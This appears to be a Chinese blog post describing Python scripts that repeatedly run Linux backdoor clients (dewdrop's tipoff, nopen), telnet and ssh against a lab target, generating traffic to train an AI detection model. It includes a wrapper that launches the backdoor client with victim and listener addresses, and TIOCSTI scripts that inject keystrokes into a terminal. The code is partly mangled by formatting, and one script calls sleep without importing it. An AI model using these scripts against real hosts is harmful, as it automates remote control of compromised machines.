抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

在项目组工作的过程中,遇到了一个任务:需要重复执行某程序,生成大量的流量。抓取流量,用于AI的学习。因此需要写脚本不断执行程序。我选择了python语言。

一、

(1)dewdrop

dewdrop是一款linux后门软件。在靶机上运行dewdrop服务器后,就可以在攻击机上运行dewdrop客户端连接上靶机,实现远程控制。

我选择subprocess模块。subprocess模块允许启动一个新进程,并将它连接到标准输入/标准输出/标准错误管道。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
import time
import subprocess
from random import choice

if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 6:
print('\nUsage:\nrundewdrop.py [victim ip] [victim port] '
'[Listener ip] [Listener port] [Number of command]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
listener_ip = sys.argv[3]
listener_port = int(sys.argv[4])
command_number = int(sys.argv[5])
run_command = './tipoff -i -r tcp -t {} -p {} -a {} -c {}'.format(dip, dport, listener_ip, listener_port)
p = subprocess.Popen(run_command, stdin=subprocess.PIPE, stdout=None, shell=True)
time.sleep(10)

with open('command.txt', 'r') as f:
command_list = [line.strip() for line in f.readlines()]
for i in range(command_number):
p.stdin.write(choice(command_list) + "\n")
time.sleep(0.2)
time.sleep(10)

使用方法:

  • 在tipoff同目录下新建一个command.txt文件。文件中每一行为所执行的命令。

  • 运行程序,即可不断随机执行命令。

  • ```
    python rundewdrop.py [victim ip] [victim port] [Listener ip] [Listener port] [Number of command]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    ### (2)nopen

    nopen也是一款linux后门软件,使用方法与dewdrop类似。在靶机上运行nopen server后,可以使nopen client远程控制。

    然而,脚本却艰难重重。

    #### 1.subprocess模块

    我的第一选择当然是选择与dewdrop相同的方法,使用了subprocess模块。然而,却遇到了问题。nopen client出现了报错。

    error: failed to open global_output_file

    1
    2
    3
    4
    5

    瞬间懵逼......

    有趣的是,这个nopen client程序还会骂人,还是骂20遍:

    What? are you nuts?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    #### 2.其他重定向方法

    我还采取了其他重定向输入方法。如<,管道符|,都遇到了一模一样的问题。仿佛只要重定向就会报错。

    #### 3.寻找原因

    既然找不到原因,就直接逆向分析......动调调试了很久,找到了报错的关键之处。

    运行nopen client后,每输入一条命令,都会尝试去运行fdopen函数。

    FILE* fdopen(int fildes,const char* mode);

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19

    fdopen的第一个参数为文件描述符。但是诡异的是:动调发现,运行到这里,打开的文件文件描述符为0。0正是标准输入流。打开文件成功即可继续运行。打开文件失败则报错退出。

    明明是在已经输入命令之后,难以理解为什么又会打开标准输入流。手动测试了fdopen这个函数。它确实能打开标准输入流,甚至向标准输入流中输出。然而一但进行重定向,这个函数就返回null。

    在钟sir的指导下,了解到了也存在0不是标准输入流的可能。程序是可以将0重定向到其他流的。

    继续逆向分析,却收效甚微......就算找到了错误的地方,也仍然不一定能找到解决方法。

    #### 4.termios模块伪造终端输入

    这是一个突发奇想,既然无法重定向输入,能否选择其他方式输入?一番搜索之下,找到了python的termios模块,可以伪造终端输入。

    在 Linux 中可以通过一组函数调用(通用终端接口,简称GTI)来控制终端。termios是在 POSIX 规范中定义的标准接口。python中的termios模块正是通过这个接口,从底层实现伪造终端输入。

    因此思路很简单:只需打开一个终端,运行nopen。再打开另一个终端,通过伪造输入向nopen所在终端输入命令,实现nopen重复的运行。

    脚本如下:

    #!/usr/bin/python

import sys,os,fcntl,termios
from random import choice
if len(sys.argv) != 3:
sys.stderr.write(“usage: ttyexec.py tty command_number\n”)
sys.exit(1)
fd = os.open(“/dev/“ + sys.argv[1], os.O_RDWR)
command_number = int(sys.argv[2])

with open(‘commands.txt’, ‘r’) as f:
command_list = [line.strip() for line in f.readlines()]

for i in range(command_number):
    cmd = choice(command_list)
    for j in range(len(cmd)):
       fcntl.ioctl(fd, termios.TIOCSTI, cmd[j])
    fcntl.ioctl(fd, termios.TIOCSTI, '\n')

os.close(fd)

1
2
3
4
5
6
7

在我自己的环境终于测试成功!!!,然而......AI的人在docker运行出错了。

---

AI方向使用docker运行脚本,docker运行的过程中报错如下:

IOError:[Errno 1]Operation not permitted

1
2
3
4
5
6
7
8
9
10
11

明显是一个权限问题。去百度了这个问题,确实是权限不足。

百度到的问题是root权限尝试修改某些特殊文件出现这个报错,原因在于文件属性。查看文件属性可以发现文件有属性i,可以确保文件不被修改。执行比chmod更底层的命令chattr,可以修改文件属性,随后便可以修改文件。

然而,这对解决问题没有太大帮助。因为无法用chattr命令去修改/der/pts/tty的属性。

#### 5.最终方法

经历了许久,最后突然想到可以绕过这个问题。在伪造终端输入的时候,向其他终端伪造输入是需要管理员权限的,但是在运行该脚本的自身终端输入则不需要管理员权限。可以控制脚本sleep几秒,并后台运行。再打开nopen,就可以实现重复执行命令。

#!/usr/bin/python

import sys,os,fcntl,termios
from random import choice
if len(sys.argv) != 3:
sys.stderr.write(“usage: ttyexec.py tty command_number\n”)
sys.exit(1)
fd = os.open(“/dev/“ + sys.argv[1], os.O_RDWR)
command_number = int(sys.argv[2])
sleep(10)

with open(‘commands.txt’, ‘r’) as f:
command_list = [line.strip() for line in f.readlines()]

for i in range(command_number):
    cmd = choice(command_list)
    for j in range(len(cmd)):
       fcntl.ioctl(fd, termios.TIOCSTI, cmd[j])
    fcntl.ioctl(fd, termios.TIOCSTI, '\n')

os.close(fd)

1
2
3
4
5
6
7
8
9

使用方法:

- commands.txt 执行命令的内容(需要与ttyexec.py在同一目录下)

- commands.txt每一行为需要执行的命令

- ```
$ python ttyexec.py tty 100 &
  • 在同一终端运行nopen client

(3)telnet

实现telnet的重定向方法很多,这里采用与dewdrop相同的方法,使用subprocess模块。不同之处仅仅在于需要输入用户名和密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
import time
import subprocess
from random import choice

if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 5:
print('\nUsage:\nruntelnet.py [victim ip] [username] [passwd] [commands number]\n')
sys.exit()

dip = sys.argv[1]
username = sys.argv[2]
passwd = sys.argv[3]
command_number = int(sys.argv[4])

run_command = 'telnet {} '.format(dip)
p = subprocess.Popen(run_command, stdin=subprocess.PIPE, stdout=None, shell=True)
time.sleep(3)
p.stdin.write(username)
time.sleep(3)
p.stdin.write("\n")
time.sleep(3)
p.stdin.write(passwd)
time.sleep(3)
p.stdin.write("\n")
time.sleep(5)
with open('commands.txt', 'r') as f:
command_list = [line.strip() for line in f.readlines()]
for i in range(command_number):
p.stdin.write(choice(command_list) + "\n")
p.stdin.write(str(i) + "\n")
p.stdin.flush()
time.sleep(0.2)
time.sleep(3)
p.stdin.write("exit\n")

使用方法:

  • 运行环境python2

  • 需要在同一目录新建一个commands.txt,commands.txt中每一行为所需执行的命令。

  • 运行命令

    1
    $ python runtelnet.py {ip地址} {用户名} {密码} {发包个数}
  • 已解决发包次数过多后断开的问题。(脚本中每执行一条命令后sleep 0.2秒)

(4)ssh

ssh会自动检测输入是否被重定向。

1
Pseudo-terminal will not be allocated because stdin is not a terminal

可以使用-tt强制分配为伪终端,即使标准输入不是终端。尽管如此,ssh的密码依然无法通过重定向输入,需要手动输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys
import time
import subprocess
from random import choice

if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 3:
print('\nUsage:\nrunssh.py [victim ip] [commands number]\n')
sys.exit()

dip = sys.argv[1]
command_number = int(sys.argv[2])

run_command = 'ssh -tt {} '.format(dip)
p = subprocess.Popen(run_command, stdin=subprocess.PIPE, stdout=None, shell=True)
time.sleep(3)
p.stdin.write("\n")
time.sleep(5)
with open('commands.txt', 'r') as f:
command_list = [line.strip() for line in f.readlines()]
for i in range(command_number):
p.stdin.write(choice(command_list) + "\n")
p.stdin.write(str(i) + "\n")
p.stdin.flush()
time.sleep(0.2)
time.sleep(10)
p.stdin.write("exit\n")

使用方法:

  • 运行环境 python2

  • 需要在本目录新建一个commands.txt,commands.txt中每行为所需要执行的命令。

  • 运行命令

    1
    $ python runssh.py {目标ip} {执行命令个数}
  • 执行后需要手动输入靶机密码。输入密码后程序自动继续运行。

  • 已解决发包次数过多后断开的问题。(脚本中每执行一条命令后sleep 0.2秒)

评论